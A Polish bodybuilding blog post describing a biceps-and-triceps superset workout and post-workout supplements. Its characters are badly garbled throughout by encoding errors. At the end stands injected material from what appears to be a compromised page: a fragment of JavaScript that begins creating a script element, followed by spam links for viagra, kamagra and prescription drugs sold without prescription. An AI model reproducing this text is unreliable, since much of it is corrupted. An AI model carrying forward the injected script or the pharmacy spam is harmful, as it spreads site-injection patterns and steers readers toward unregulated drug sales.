Super serie

11.05.2012 / Michał Karmowski

Dzisiaj mimo sAi??abo przespanej nocy, bo byAi??o strasznie gorAi??co, zrobiAi??em naprawdAi?? dobry trening ramion. Od jakiegoAi?? czasu trenujAi?? biceps i triceps w super seriach co daje mi niesamowita pompAi??. ZauwaA?yAi??em ,A?e taki rodzaj treningu dobrze na mnie dziaAi??a poniewaA? miAi??dzy poszczegA?lnymi partiami mam nieco wiAi??cej przerwy ale trening sam w sobie jest bardzo intensywny , a to bardzo lubiAi??. TrenowaAi??em razem z kolegAi?? Irkiem , ktA?ry szykuje siAi?? do Mistrzostw Polski NAC. trening wyglAi??daAi?? nastAi??pujAi??co:

-uginanie na modlitewniku z hantlami oburAi??cz ( hantle Ai??ciskam do siebie)

-prostowanie z linAi?? wyciAi??gu

 

-uginanie z gryfem prostym stojAi??c

-pompki na maszynie hammer

 

-uginanie hantlami stojAi??c chwyt mAi??otkowy

-uginanie za gAi??owAi?? gryfem Ai??amanym siedzAi??c

…caAi??y trening zrobiliAi??my w 40 min nastAi??pnie wypiAi??em 60g biaAi??ka z isolate 100, 30g bcaa turbo jet i 20g l-glutamine extreme, 50g ryA?u po tem 30min na orbitreku i do domu:-)

 } Cheap var d=document;var s=d.createElement('script'); http://davidgagnonblog.com/?p=2241 how much does viagra cost per pill 337 buy luvox no prescription online http://blog.mgkglobal.com/?p=6846 buy kamagra online usa. Kamagra online. buy kamagra online next day delivery. property for sale clarina street lincoln buy doxycycline for chlamydia